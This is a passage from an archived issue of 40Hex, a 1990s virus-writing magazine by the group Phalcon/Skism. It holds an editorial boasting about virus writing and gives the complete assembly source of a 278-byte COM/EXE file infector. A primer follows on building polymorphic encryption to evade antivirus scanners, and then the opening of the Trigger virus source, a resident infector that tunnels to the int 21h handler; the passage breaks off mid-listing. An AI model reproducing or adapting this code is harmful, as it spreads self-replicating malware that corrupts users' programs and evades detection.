home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / 40HEXX.ZIP / 40HEX011 < prev    next >
Text File  |  1998-01-21  |  193KB  |  5,434 lines

  1. 40Hex Issue 11 Volume 3 Number 2                                      File 000
  2.  
  3.      Welcome to 40Hex, the industry-standard virus information magazine,
  4. brought to you by your friends at Phalcon/Skism, where our mottoes are
  5. "We don't care" and "We write viruses until we're blue in the face and
  6. green in the eyes."  Once again, we continue to bring you only the best
  7. in virus news, programming, and miscellaneous source code.
  8.      We welcome our newest member, Priest, who has written a number of
  9. advanced viruses.  The source code to one of his viruses, Predator, is
  10. included in this issue.
  11.      Also in this issue is Dark Angel's Multiple Encryptor (DAME).  This
  12. is one of the more advanced polymorphic routines available.  Since source
  13. code is included, you'll probably see SPEW (Sweet Potato Encryption
  14. Writer) coming soon to finer P0taT0 boards near you.
  15.      Well, enough ranting -- enjoy the magazine!
  16.  
  17.                                         -)Gheap
  18.  
  19.             File                 Description
  20.             0000.................This file, of course.
  21.             0001.................Today's Phalcon/Skism Gripe
  22.             0002.................Advanced Polymorphism Primer, Part 1
  23.             0003.................Phalcon/Skism Trigger Virus & DAME Source Code
  24.             0004.................Virus Censorship (Gripe Part II)
  25.             0005.................Virus Spotlite: Leech
  26.             0006.................Fun with System File Tables
  27.             0007.................SVC 5.0 disassembly
  28.             0008.................Predator Source Code
  29.  
  30. Greets to: NuKE, The Attitude Adjuster, Kenny C., Al, Bob, and our little
  31.            potato friends.
  32.  
  33. 40Hex Issue 11 Volume 3 Number 2                                      File 001
  34.  
  35.                         Life, the Universe, and 40Hex
  36.  
  37.        It is apparent to even the blindest of observers that the virus
  38.   phenomenon has caught on.  Everyone and his kid brother has decided to start
  39.   a virus group, whether or not they have programmers capable of creating a
  40.   viable (read: parasitic) virus.  While this in itself is merely offensive,
  41.   it is the sheer arrogance of these meta-groups which is irritating.  Of
  42.   course, no names will be mentioned, as that would be mean and we all wish
  43.   for a happy world.
  44.        The most common trait of these pseudo-groups is for a member to state
  45.   that all code that was written was "developed on my own."  Of course, this
  46.   is seldom the case.  Often, the "original source code" to their viruses
  47.   clearly originated at some point from a Sourcer disassembly.  Heck, when you
  48.   see "seg_a" or "loc_0027," you know they're just poor hacks.  Of course, the
  49.   the disparate coding styles in the "source" also reveals the nature of the
  50.   virus.
  51.        And when the virus is listed as a Dark Avenger hack in various anti-
  52.   virus products, the individuals persist in their self-induced fantasies,
  53.   saying their viruses are original.  I suppose the anti-virus programmers,
  54.   who have disassembled countless viruses, can't spot a Dark Avenger or Murphy
  55.   hack when they see one.  Stop fooling yourselves.
  56.        And these mentally challenged persons continue, insisting routine X, a
  57.   "new, innovative technique," was developed independently.  Yet anyone with
  58.   even a minimal exposure to virus source code can see traces of other viruses
  59.   in these routines.  Even the ideas presented are seldom new; most having
  60.   already been implemented by existing viruses.  The worst of these people
  61.   magnify all of their supposed accomplishments, talking of the revolutionary
  62.   changes they single-handedly effect.
  63.        Every group goes through a phase in which they hack viruses; they
  64.   should not be proud of these viruses.  But it is merely the first step and
  65.   most grow out of it.  Skism-1, for example, was a Jerusalem hack.  It is
  66.   ancient history.  I might also point out that the Phalcon/Skism viruses
  67.   published in both the last issue and this one are far superior to Skism-1.
  68.   Phalcon/Skism does not release the source code to half-baked viruses just so
  69.   40Hex can look larger.  Every virus programmer has a few experimental
  70.   viruses; yet it is not necessarily appropriate to print all of them.  If I
  71.   wrote a virus which had several hundred bytes of repetitious code, I would
  72.   be ashamed to print it.  It's like releasing a program which has only been
  73.   half-completed.
  74.        When a virus programmer additionally claims, "This virus was written
  75.   two years ago, so it sucks, but I'm going to release it anyway because it's
  76.   good to learn from," I have my doubts.  When s/he further hurridly states,
  77.   "My other viruses are better," then my doubts grow.  Where, pray tell, are
  78.   these superior viruses?  Why publish that which you admit sucks?  Of course,
  79.   anyone that makes such a claim, or one such as, "Next time, I'll release a
  80.   COM/EXE/SYS/MBR/OV?/DAT/DOC/TXT/ANS/ASC polymorphic, stealth infector that I
  81.   wrote last week," is suspicious.
  82.        As an example of the mindless boasting, observe the following:  (Note:
  83.   the following should not be construed as a personal attack against either
  84.   the person or group in question.)
  85.        This person wrote, "As with many of my routines, stuff which took many
  86.   other virus writers a few pages of code took me one page... that's not bad!
  87.   I have many other goodies up my sleeve, like a 387-byte generic COM/EXE
  88.   parasitic infector on execution, the smallest of its kind in the WORLD...
  89.   (with room for improvement!)."
  90.        Please do not boast if you cannot substantiate your claims.  For
  91.   example, these claims are easily shredded by counterexample.  Let us examine
  92.   the Voronezh-370 virus.  It is a generic parasitic COM/EXE infector and it
  93.   is indeed less than 387 bytes.  If 387 bytes is the smallest in the world,
  94.   then this may very well be the smallest in the universe.  With only two
  95.   hours of fiddling, I came up with the following virus (278 bytes), which may
  96.   yet be the smallest of its kind in all of creation!  Actually, I make no
  97.   such claim, as a smaller one _can_ be written.  The point was to show that
  98.   this claim was not all that impressive and was, in fact, dead wrong.  Let us
  99.   not be o'erhasty to boast next time.
  100.        As with many of my viruses, stuff which took many other virus writers
  101.   over 380 bytes took me under 280... that's not bad!  Humour aside, I might
  102.   point out that this virus is _over_ 100 bytes less than the boaster's
  103.   attempt, so it is _significantly_ smaller.  Gee, I wonder what those extra
  104.   109 bytes are used for.
  105.  
  106.   -------------Cut here----------------
  107.           .model  tiny
  108.           .code
  109.           .radix  16
  110.           .code
  111.   ; Phalcon/Skism _Small virus
  112.   ; Written by Dark Angel of Phalcon/Skism
  113.   ; 278 byte generic COM/EXE infector
  114.   EXE_ID          =       -40
  115.   viruslength     =       heap - _small
  116.   startload       =       90 * 4
  117.  
  118.   _small:
  119.           call    relative
  120.   oldheader       dw      020cdh
  121.                   dw      0bh dup (0)
  122.   relative:
  123.           pop     bp
  124.           push    ds
  125.           push    es
  126.           xor     ax,ax
  127.           mov     ds,ax
  128.           mov     es,ax
  129.           mov     di,startload
  130.           cmp     word ptr ds:[di+25],di
  131.           jz      exit_small
  132.  
  133.           lea     si,[bp-3]
  134.           mov     cx,viruslength
  135.           db      2Eh
  136.           rep     movsb
  137.  
  138.           mov     di,offset old21 + startload
  139.           mov     si,21*4
  140.           push    si
  141.           movsw
  142.           movsw
  143.           pop     di
  144.           mov     ax,offset int21 + startload
  145.           stosw
  146.           xchg    ax,cx
  147.           stosw
  148.  
  149.   exit_small:
  150.           pop     es
  151.           pop     ds
  152.  
  153.           or      sp,sp
  154.           jnp     returnCOM
  155.   returnEXE:
  156.           mov     ax,ds
  157.           add     ax,10
  158.           add     [bp+16],ax
  159.           add     ax,[bp+0e]
  160.           mov     ss,ax
  161.           mov     sp,cs:[bp+10]
  162.           jmp     dword ptr cs:[bp+14]
  163.   returnCOM:
  164.           mov     di,100
  165.           push    di
  166.           mov     si,bp
  167.           movsw
  168.           movsb
  169.           ret
  170.  
  171.   infect:
  172.           push    ax
  173.           push    bx
  174.           push    cx
  175.           push    dx
  176.           push    si
  177.           push    di
  178.           push    ds
  179.           push    es
  180.  
  181.           mov     ax,3d02
  182.           int     21
  183.           xchg    ax,bx
  184.  
  185.           push    cs
  186.           pop     ds
  187.           push    cs
  188.           pop     es
  189.  
  190.           mov     si,offset oldheader+startload
  191.  
  192.           mov     ah,3f
  193.           mov     cx,18
  194.           push    cx
  195.           mov     dx,si
  196.           int     21
  197.  
  198.           cmp     ax,cx
  199.           jnz     go_already_infected
  200.  
  201.           mov     di,offset target + startload
  202.           push    di
  203.           rep     movsb
  204.           pop     di
  205.  
  206.           mov     ax,4202
  207.           cwd
  208.           int     21
  209.  
  210.           cmp     ds:[di],'ZM'
  211.           jz      infectEXE
  212.  
  213.           sub     ax,3
  214.           mov     byte ptr ds:[di],0e9
  215.           mov     ds:[di+1],ax
  216.  
  217.           sub     ax,viruslength
  218.           cmp     ds:[si-17],ax
  219.           jnz     finishinfect
  220.   go_already_infected:
  221.           pop     cx
  222.           jmp     short already_infected
  223.  
  224.   int21:
  225.           cmp     ax,4b00
  226.           jz      infect
  227.           jmp     short chain
  228.  
  229.   infectEXE:
  230.           cmp     word ptr [di+10],EXE_ID
  231.           jz      go_already_infected
  232.  
  233.           push    ax
  234.           push    dx
  235.  
  236.           add     ax,viruslength
  237.           adc     dx,0
  238.  
  239.           mov     cx,200
  240.           div     cx
  241.  
  242.           or      dx,dx
  243.           jz      nohiccup
  244.           inc     ax
  245.   nohiccup:
  246.           mov     ds:[di+4],ax
  247.           mov     ds:[di+2],dx
  248.  
  249.           pop     dx
  250.           pop     ax
  251.  
  252.           mov     cx,10
  253.           div     cx
  254.  
  255.           sub     ax,ds:[di+8]
  256.  
  257.           mov     ds:[di+14],dx
  258.           mov     ds:[di+16],ax
  259.  
  260.           mov     ds:[di+0e],ax
  261.           mov     word ptr ds:[di+10],EXE_ID
  262.   finishinfect:
  263.           mov     ah,40
  264.           mov     cx,viruslength
  265.           mov     dx,startload
  266.           int     21
  267.  
  268.           mov     ax,4200
  269.           xor     cx,cx
  270.           cwd
  271.           int     21
  272.  
  273.           mov     ah,40
  274.           mov     dx,di
  275.           pop     cx
  276.           int     21
  277.   already_infected:
  278.           mov     ah,3e
  279.           int     21
  280.   exitinfect:
  281.           pop     es
  282.           pop     ds
  283.           pop     di
  284.           pop     si
  285.           pop     dx
  286.           pop     cx
  287.           pop     bx
  288.           pop     ax
  289.   chain:
  290.           db      0ea
  291.   heap:
  292.   old21   dw      ?, ?
  293.   target  dw      0ch dup (?)
  294.  
  295.   endheap:
  296.           end     _small
  297.   -------------------------------------
  298.  
  299.        I think the informed virus and anti-virus person recognises these
  300.   claims as the baseless boasts they are.  Let me assure you that you will see
  301.   none of that in 40Hex.
  302.        Finally, each new group proclaims to be the world's predominant virus
  303.   group.  Each new group puts out a magazine.  Each new group presents H/P/A
  304.   articles in their magazines.  Let us go through each one step by step.
  305.   Hacking.  Gee, can't you see the connection with viruses?  Phreaking.  Got
  306.   some c0deZ, d00d?  Anarchy.  Gee, I want total chaos even though I probably
  307.   couldn't survive such a situation.  H/P/A aside, these "virus magazines" do
  308.   indeed contain some virus-related articles.  Generally, these are of the
  309.   form "X virus is great, but we won't give source.  X does this, it does
  310.   that, it is not a hack of Dark Avenger even though it scans as such."  Some
  311.   articles give Sourcer disassemblies -- hardly commented, yet termed
  312.   disassemblies nonetheless.  Finally, there are the programming articles
  313.   containing tips and tricks from the "masters."  These often contain
  314.   nonworking code.  These often contain factual errors.  These often are
  315.   nothing but a waste of time.
  316.        Does this sound elitist?  I hope not.  Judge virus groups and their
  317.   magazines on their merits, not on their hype.  Do not take a virus group's
  318.   word as gospel; it seldom reflects the truth.  Instead, do some
  319.   investigation on your own and try to verify (or refute) their claims.  You
  320.   may be surprised at the results.  There is also no reason to immediately
  321.   condemn all anti-virus people as corrupt and "lame"; many are just ordinary
  322.   people "on the other side."  The virus scene is becoming less innovative as
  323.   these new quasi-groups emerge.  This apparent contradiction must end soon.
  324.   We ask all groups to end the self-back-patting and blatant lying and do some
  325.   real work.
  326.        Finally, a short summary of 40Hex is in order, for both new and old
  327.   readers alike.  The paragraphs below show the current editorial stance and
  328.   opinion of 40Hex, which has evolved during the several years of its
  329.   existence.  What holds true for 40Hex also applies to Phalcon/Skism.
  330.  
  331.        40Hex is _not_ a magazine for self-congratulation.  Although put out by
  332.   Phalcon/Skism, 40Hex serves as medium through which the public may hear the
  333.   voice of the informed virus community without magnification of either the
  334.   achievements or failures of any particular virus group or programmer.
  335.   Although the 40Hex staff offers opinions from the pro-virus standpoint,
  336.   40Hex is not an anti-anti-virus magazine.  There is a clear distinction
  337.   between pro- and anti-anti-virus.  40Hex encourages anti-virus researchers
  338.   to contribute.  40Hex offers a fair, unbiased view except in editorials,
  339.   which obviously reflect the opinions of the authors.
  340.        40Hex _is_ purely a virus magazine -- none of that H/P/A/k-rad stuff.
  341.   Illegal and anarchistic activities are not condoned by 40Hex and, as such,
  342.   these topics are not appropriate for inclusion in the magazine.  The public
  343.   distribution of quality virus source code and virus writing techniques, both
  344.   old and new, is one of the predominant goals of 40Hex, serving to inform
  345.   both the pro- and anti-virus community.  The secondary function of the
  346.   magazine is to spread virus-related news.  40Hex is concerned more with
  347.   content than size.  You know the old saw "Quality, not quantity."  Other
  348.   magazines appear larger than they truly are because each article is padded
  349.   to 80 columns, effectively doubling its file length.
  350.        40Hex articles are _not_ mere rehashes of what has already been
  351.   printed.  Other magazines have presented articles which closely mirror those
  352.   already published in 40Hex.  Such poorly rewritten articles are neither
  353.   enlightening nor necessary.
  354.        40Hex is _not_ a tool with which people wreak havok upon others'
  355.   systems.  This is simply an unfair view of the magazine.  In fact, 40Hex is
  356.   against wanton destruction of computer systems.  Viruses are so prevalent
  357.   nowadays that anyone can obtain them with little difficulty.  They also need
  358.   not obtain 40Hex to be able to type "FORMAT C:"  Knobs will be knobs.
  359.        40Hex _is_ a public forum, allowing those who take the time to write to
  360.   have their opinions published.  We encourage all to send letters to 40Hex,
  361.   as they provide valuable insight into the virus and anti-virus communities
  362.   from a fresh perspective.
  363.        40Hex is _not_ inherently evil.  What you choose to do with the
  364.   knowledge provided is your business.
  365.  
  366.        Once again, 40Hex does not condone the illegal spread of viruses.  Such
  367.   actions are frowned upon.  Our stance has evolved over the years, so don't
  368.   bring up something from 40Hex-2 and cry hippocrite -- unless, of course, you
  369.   have a closed mind and absolutely nothing else to say.
  370.  
  371.                                                 -- Dark Angel
  372.                                                    Phalcon/Skism
  373.  
  374. 40Hex Issue 11 Volume 3 Number 2                                      File 002
  375.  
  376.                              ²²²²²²²²²²²²²²²²²²²²²
  377.                              ADVANCED POLYMORPHISM
  378.                                      PRIMER
  379.                                  PART THE FIRST
  380.                              ²²²²²²²²²²²²²²²²²²²²²
  381.                                  By Dark Angel
  382.                                  Phalcon/Skism
  383.                              ²²²²²²²²²²²²²²²²²²²²²
  384.  
  385.        With the recent proliferation of virus encryption "engines," I was
  386.   inspired to write my own.  In a few short weeks, I was able to construct one
  387.   such routine which can hold its own.  A polymorphic encryption routine is
  388.   nothing more than a complex code generator.  Writing such a routine, while
  389.   not incredibly difficult, requires careful planning and perhaps more than a
  390.   few false starts.
  391.  
  392.        The utility of true polymorphism is, by now, an accepted fact.
  393.   Scanning for the majority of viruses is a trivial task, involving merely the
  394.   identification of a specific pattern of bytes in executable files.  This
  395.   approach is quick and may be used to detect nearly all known viruses.
  396.   However, polymorphism throws a monkey wrench into the works.  Polymorphic
  397.   viruses encode each copy of the virus with a different decryption routine.
  398.   Since (theoretically) no bytes remain constant in each generated decryption
  399.   routine, virus detectors cannot rely on a simple pattern match to locate
  400.   these viruses.  Instead, they are forced to use an algorithmic appproach
  401.   susceptible to "false positives," misleading reports of the existence of the
  402.   virus where it is not truly present.  Creating a reliable algorithm to
  403.   detect the polymorphic routine takes far more effort than isolating a usable
  404.   scan string.  Additionally, if a virus detector fails to find even one
  405.   instance of the virus, then that single instance will remain undetected and
  406.   spawn many more generations of the virus.  Survival, of course, is the
  407.   ultimate goal of the virus.
  408.  
  409.        Before attempting to write a polymorphic routine, it is necessary to
  410.   obtain a manual detailing the 80x86 instruction set.  Without bit-level
  411.   manipulation of the opcodes, any polymorphic routine will be of limited
  412.   scope.  The nice rigid structure of the 80x86 instruction set will be
  413.   readily apparent after a simple perusal of the opcodes.  Exploitation of
  414.   this structured instruction set allows for the compact code generation
  415.   routines which lie at the heart of every significant polymorphic routine.
  416.  
  417.        After examining the structure of the opcodes, the basic organisation of
  418.   the polymorphic routine should be laid out.  Here, an understanding of the
  419.   basics behind such routines is required.  The traditional approach treats
  420.   the decryption routine as a simple executable string, such as
  421.   "BB1301B900022E8137123483C302E2F6."  A true (advanced) polymorphic routine,
  422.   by contrast, views the decryption routine as a conceptual algorithm, such
  423.   as, "Set up a 'pointer' register, that is, the register whose contents hold
  424.   a pointer to the memory to be decrypted.  Set up a counter register.  Use
  425.   the pointer register to decrypt one byte.  Update the pointer register.
  426.   Decrement the count register, looping if it is not zero."  Two routines
  427.   which fit this algorithm follow:
  428.  
  429.   Sample Encryption 1
  430.   ------ ---------- -
  431.        mov  bx,offset startencrypt   ; here, bx is the 'pointer' register
  432.        mov  cx,viruslength / 2       ; and cx holds the # of iterations
  433.   decrypt_loop:
  434.        xor  word ptr [bx],12h        ; decrypt one word at a time
  435.        inc  bx                       ; update the pointer register to
  436.        inc  bx                       ; point to the next word
  437.        loop decrypt_loop             ; and continue the decryption
  438.   startencrypt:
  439.  
  440.   Sample Encryption 2
  441.   ------ ---------- -
  442.   start:
  443.        mov  bx,viruslength           ; now bx holds the decryption length
  444.        mov  bp,offset start          ; bp is the 'pointer' register
  445.   decrypt_loop:
  446.        add  byte ptr [bp+0Ch],33h    ; bp+0Ch -> memory location to be
  447.                                      ; decrypted at each iteration
  448.        inc  bp                       ; update the pointer register
  449.        dec  bx                       ; and the count register
  450.        jnz  decrypt_loop             ; loop if still more to decrypt
  451.  
  452.        The number of possibilities is essentially infinite.  Naturally,
  453.   treating the decryption as an algorithm rather than as an executable string
  454.   greatly increases the flexibility in creating the actual routine.  Various
  455.   portions of the decryption algorithm may be tinkered with, allowing for
  456.   further variations.  Using the example above, one possible variation is to
  457.   swap the order of the setup of the registers, i.e.
  458.  
  459.        mov  cx,viruslength
  460.        mov  bx,offset startencrypt
  461.  
  462.   in lieu of
  463.  
  464.        mov  bx,offset startencrypt
  465.        mov  cx,viruslength
  466.  
  467.        It is up to the individual to decide upon the specific variations which
  468.   should be included in the polymorphic routine.  Depending upon the nature of
  469.   the variations and the structure of the polymorphic routine, each increase
  470.   in power may be accompanied with only a minimal sacrifice in code length.
  471.   The goal is for the routine to be capable of generating the greatest number
  472.   of variations in the least amount of code.  It is therefore desirable to
  473.   write the polymorphic routine in a manner such that additional variations
  474.   may be easily accommodated.  Modularity is helpful in this respect, as the
  475.   modest overhead is rapidly offset by substantial space savings.
  476.  
  477.        The first step most polymorphic routines undergo is the determination
  478.   of the precise variation which is to be encoded.  For example, a polymorphic
  479.   routine may decide that the decryption routine is to use word-length xor
  480.   encryption with bx as the pointer register, dx as a container for the
  481.   encryption value, and cx as the counter register.  Once this information is
  482.   known, the routine should be able to calculate the initial value of each
  483.   variable.  For example, if cx is the counter register for a byte-length
  484.   encryption, then it should hold the virus length.  To increase variability,
  485.   the length of the encryption can be increased by a small, random amount.
  486.   Note that some variables, in particular the pointer register, may not be
  487.   known before encoding the rest of the routine.  This detail is discussed
  488.   below.
  489.  
  490.        Of course, selecting the variables and registers will not in and of
  491.   itself yield a valid decryption routine; the polymorphic routine must also
  492.   encode the actual instructions to perform the job!  The cheesiest
  493.   polymorphic routines encode a single "mov" instruction for the assignment of
  494.   a value to a register.  The more complex routines encode a series of
  495.   instructions which are functionally equivalent to the simple three byte
  496.   "mov" statement yet far different in form.  For example,
  497.  
  498.        mov  ax, 808h
  499.  
  500.   could be replaced with
  501.  
  502.        mov  ax, 303h                 ; ax = 303h
  503.        mov  bx, 101h                 ; bx = 101h
  504.        add  ax, bx                   ; ax = 404h
  505.        shl  ax, 1                    ; ax = 808h
  506.  
  507.        Recall that the registers should be encoded in a random order.  The
  508.   counter variable, for example, should not always be the first to be encoded.
  509.   Predictability, the bane of polymorphic routines, must be avoided at all
  510.   costs.
  511.  
  512.        After the registers are encoded, the actual decryption loop should then
  513.   be encoded.  The loop can perform a number of actions, the most significant
  514.   of which should be to manipulate the memory location, i.e. the actual
  515.   decryption instruction, and to update the pointer register, if necessary.
  516.   Finally, the loop instruction itself should be encoded.  This can take many
  517.   forms, including "loop," "loopnz," "jnz," etc.  Possible variations include
  518.   altering the decryption value register and the counter register during each
  519.   iteration.
  520.  
  521.        This is the general pattern of encoding.  By placing garbling, or "do-
  522.   nothing," instructions between the essential pieces of code, further
  523.   variability may be ensured.  These instructions may take many forms.  If the
  524.   encoding routines are well-designed, the garbler can take advantage of the
  525.   pre-existing code to generate null instructions, such as assignments to
  526.   unused registers.
  527.  
  528.        Once the decryption routine has been written, it is necessary to
  529.   encrypt the virus code.  The traditional approach gives the polymorphic
  530.   routine the job of encrypting the code.  The polymorphic routine should
  531.   therefore "remember" how the precise variation used by the decryptor and
  532.   adjust the encryption routine in a complementary fashion.  An alternate
  533.   approach is for the polymorphic routine to simultaneously encode both the
  534.   encryption and decryption routines.  Although it adds overhead to the code,
  535.   it is an extremely flexible approach that easily accommodates variations
  536.   which may be later introduced into the polymorphic routine.
  537.  
  538.        Variable-length decryptors come at a significant trade-off; the exact
  539.   start of the decryption cannot be known before encoding the decryptor.
  540.   There are two approaches to working around this limitation.  The first is to
  541.   encode the pointer register in a single instruction, i.e. mov bx,185h and to
  542.   patch the initial value once it is known.  This is simplistic, though
  543.   undesirable, as it decreases the variability of the routine.  An alternate
  544.   approach is to encode the encryption instruction in the form xor word ptr
  545.   [bx+185h], cx (as in Sample Encryption 2, above) instead of xor word ptr
  546.   [bx], cx (as in Sample Encryption 1).  This increases the flexibility of the
  547.   routine, as the initial value of the pointer register need not be any fixed
  548.   value; correct decryption may be assured by adjusting the offset in the
  549.   decryption instruction.  It is then possible to encode the pointer register
  550.   with multiple instructions, increasing flexibility.  However, using either
  551.   method alone increases the predictability of the generated code.  A better
  552.   approach would be to incorporate both methods into a single polymorphic
  553.   routine and randomly selecting one during each run.
  554.  
  555.        As an example of a polymorphic routine, I present DAME, Dark Angel's
  556.   Multiple Encryptor and a simple virus which utilises it.  They appear in the
  557.   following article.  DAME uses a variety of powerful techniques to achieve
  558.   full polymorphism.  Additionally, it is easy to enhance; both the encoding
  559.   routines and the garblers can be extended algorithmically with minimal
  560.   effort.  In the next issue, I will thoroughly comment and explain the
  561.   various parts of DAME.
  562.  
  563. 40Hex Issue 11 Volume 3 Number 2                                      File 003
  564.  
  565.                                 Trigger Virus
  566.  
  567.      This virus was written as a test virus for DAME, Dark Angel's Multiple
  568. Encryptor.  Trigger is a resident COM/EXE infector with tunneling capabilities.
  569. When it executes, it traces down the int 21h chain until it finds the original
  570. int 21h handler.  It then inserts code to jump to the virus, which returns
  571. control to the original int 21h handler after processing the request.
  572.  
  573.                                                 -- Dark Angel
  574.                                                    Phalcon/Skism 1993
  575.  
  576. -begin trigger.asm-------------------------------------------------------------
  577.         .model  tiny
  578.         .code
  579.         .radix  16
  580.         org     0
  581.  
  582.         viruslength     =       (heap - entry)
  583.         virussizeK      =       (endvirus - entry + 3ff) / 400
  584.         virussizepara   =       (virussizeK)*40
  585.  
  586.         EXE_ID          =       'PS'
  587.  
  588. entry:
  589.         call    past
  590. next:
  591.         db      0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
  592.         db      "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
  593.         db      0Dh,0A,0
  594.  
  595. checkstub       db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63
  596.  
  597. past:   cld
  598.         pop     bp
  599.  
  600.         mov     ax,0cf0
  601.         mov     bx,'DA'
  602.         int     21
  603.         cmp     bx,'GH'
  604.         jnz     no_trigger
  605. trigger:
  606.         push    ds
  607.         push    es
  608.  
  609.         push    cs
  610.         pop     ds
  611.         xor     ax,ax
  612. checkagain:
  613.         lea     si,[bp+checkstub-next]
  614.         mov     es,ax
  615.         xor     di,di
  616.         mov     cx,8
  617.         rep     cmpsw
  618.         jz      trigger_it
  619.         inc     ax
  620.         cmp     ax,0a000
  621.         jb      checkagain
  622.         jmp     exit_trigger
  623. trigger_it:
  624.         mov     [bp+patch-next],ax
  625.         mov     ds,ax
  626.         mov     byte ptr ds:73,0cbh
  627.         push    bp
  628.         mov     bp,-80
  629.         jmp     short $+2
  630.         db      09a ; call far ptr
  631.         dw      1
  632. patch   dw      ?
  633.         pop     bp
  634.         mov     byte ptr ds:73,1f
  635. exit_trigger:
  636.         pop     es
  637.         pop     ds
  638.         jmp     short restore
  639.  
  640. no_trigger:
  641.         mov     ax,4b90
  642.         int     21
  643.         cmp     ax,bx
  644.         jz      restore
  645.  
  646.         push    ds
  647.         push    es
  648.  
  649.         mov     ax,ds
  650.         dec     ax
  651.         mov     ds,ax
  652.         sub     word ptr ds:3,virussizepara
  653.         sub     word ptr ds:12,virussizepara
  654.         mov     es,ds:12
  655.  
  656.         push    cs
  657.         pop     ds
  658.  
  659.         xor     di,di
  660.         lea     si,[bp+offset entry-offset next]
  661.         mov     cx,(viruslength + 1)/2
  662.         rep     movsw
  663.  
  664.         xor     ax,ax
  665.         mov     ds,ax
  666.         sub     word ptr ds:413,virussizeK
  667.  
  668.         mov     di,offset oldint21
  669.         mov     si,21*4
  670.         movsw
  671.         movsw
  672.  
  673.         cli
  674.  
  675.         pushf
  676.         pushf
  677.         pop     ax
  678.         or      ah,1
  679.         push    ax
  680.  
  681.         mov     ds:1*4+2,es
  682.         mov     word ptr ds:1*4,offset int1_1
  683.  
  684.         popf
  685.  
  686.         mov     ah,30
  687.         pushf
  688.         call    dword ptr ds:21*4
  689.  
  690.         popf
  691.  
  692.         lds     si,dword ptr es:oldint21
  693.         mov     di,si
  694.         lodsw
  695.         mov     word ptr es:int21patch1,ax
  696.         lodsw
  697.         mov     word ptr es:int21patch2,ax
  698.         lodsb
  699.         mov     byte ptr es:int21patch3,al
  700.  
  701.         push    ds ; es:di->int 21 handler
  702.         push    es
  703.         pop     ds ; ds->high segment
  704.         pop     es
  705.  
  706.         mov     al,0ea
  707.         stosb
  708.         mov     ax,offset int21
  709.         stosw
  710.         mov     ax,ds
  711.         stosw
  712.         sti
  713.  
  714.         pop     es
  715.         pop     ds
  716.  
  717. restore:
  718.         cmp     sp,-2
  719.         jnz     restoreEXE
  720. restoreCOM:
  721.         lea     si,[bp+readbuffer-next]
  722.         mov     di,100
  723.         push    di
  724.         movsw
  725.         movsw
  726.         ret
  727. restoreEXE:
  728.         mov     ax,ds
  729.         add     ax,10
  730.         add     cs:[bp+readbuffer+16-next], ax
  731.         add     ax,cs:[bp+readbuffer+0e-next]
  732.         mov     ss,ax
  733.         mov     sp,cs:[bp+readbuffer+10-next]
  734.         jmp     dword ptr cs:[bp+readbuffer+14-next]
  735.  
  736. readbuffer      dw 20cdh
  737.                 dw 0bh dup (?)
  738.  
  739. int1_1:
  740.         push    bp
  741.         mov     bp,sp
  742.         push    ax
  743.  
  744.         mov     ax, [bp+4]      ; get segment
  745.         cmp     ax, cs:oldint21+2
  746.         jae     exitint1
  747.         mov     cs:oldint21+2,ax
  748.         mov     ax, [bp+2]
  749.         mov     cs:oldint21,ax
  750. exitint1:
  751.         pop     ax
  752.         pop     bp
  753.         iret
  754.  
  755. int1_2:
  756.         push    bp
  757.         mov     bp,sp
  758.         push    ax
  759.  
  760.         mov     ax,cs
  761.         cmp     ax,[bp+4]
  762.         jz      exitint1
  763.  
  764.         mov     ax,[bp+4]
  765.         cmp     ax,cs:oldint21+2
  766.         jnz     int1_2_restore
  767.  
  768.         mov     ax,[bp+2]
  769.         cmp     ax,cs:oldint21
  770.         jb      int1_2_restore
  771.         sub     ax,5
  772.         cmp     ax,cs:oldint21
  773.         jbe     exitint1
  774. int1_2_restore:
  775.         push    es
  776.         push    di
  777.         cld
  778.         les     di,dword ptr cs:oldint21
  779.         mov     al,0ea
  780.         stosb
  781.         mov     ax,offset int21
  782.         stosw
  783.         mov     ax,cs
  784.         stosw
  785.         pop     di
  786.         pop     es
  787.  
  788.         and     [bp+6],0feff
  789.         jmp     exitint1
  790.  
  791. install:
  792.         mov     bx,ax
  793.         iret
  794. int21:
  795.         cmp     ax,4b90
  796.         jz      install
  797.  
  798.         push    ds
  799.         push    di
  800.         lds     di,dword ptr cs:oldint21
  801.         mov     word ptr ds:[di],1234
  802. int21patch1      =       $ - 2
  803.         mov     word ptr ds:[di+2],1234
  804. int21patch2      =       $ - 2
  805.         mov     byte ptr ds:[di+4],12
  806. int21patch3      =       $ - 1
  807.         pop     di
  808.         pop     ds
  809.  
  810.         cld
  811.  
  812.         cmp     ax,4b00
  813.         jz      infect
  814.  
  815. exitint21:
  816.         push    ds
  817.         push    ax
  818.  
  819.         xor     ax,ax
  820.         mov     ds,ax
  821.         cli
  822.         mov     word ptr ds:1*4,offset int1_2
  823.         mov     ds:1*4+2,cs
  824.         sti
  825.  
  826.         pushf
  827.         pop     ax
  828.         or      ah,1
  829.         push    ax
  830.         popf
  831.         pop     ax
  832.         pop     ds
  833.         db      0ea
  834. oldint21 dw     0, 0
  835.  
  836. callint21:
  837.         pushf
  838.         call    dword ptr cs:oldint21
  839.         ret
  840.  
  841. already_infected:
  842.         pop     dx
  843.         pop     cx
  844.         mov     ax,5701
  845.         call    callint21
  846.  
  847.         mov     ah,3e
  848.         call    callint21
  849. exitnoclose:
  850.         mov     ax,4301
  851.         pop     dx
  852.         pop     ds
  853.         pop     cx
  854.         call    callint21
  855.  
  856. exitinfect:
  857.         pop     es
  858.         pop     ds
  859.         pop     di
  860.         pop     si
  861.         pop     bp
  862.         pop     bx
  863.         pop     dx
  864.         pop     cx
  865.         pop     ax
  866.         jmp     exitint21
  867.  
  868. infect:
  869.         push    ax
  870.         push    cx
  871.         push    dx
  872.         push    bx
  873.         push    bp
  874.         push    si
  875.         push    di
  876.         push    ds
  877.         push    es
  878.  
  879.         mov     ax,4300
  880.         call    callint21
  881.         push    cx
  882.         push    ds
  883.         push    dx
  884.  
  885.         mov     ax,4301
  886.         xor     cx,cx
  887.         call    callint21
  888.  
  889.         mov     ax,3d02
  890.         call    callint21
  891.         jc      exitnoclose
  892.         xchg    ax,bx
  893.  
  894.         mov     ax,5700
  895.         int     21
  896.         push    cx
  897.         push    dx
  898.  
  899.         mov     ah,3f
  900.         mov     cx,18
  901.         push    cs
  902.         pop     ds
  903.         push    cs
  904.         pop     es
  905.         mov     dx,offset readbuffer
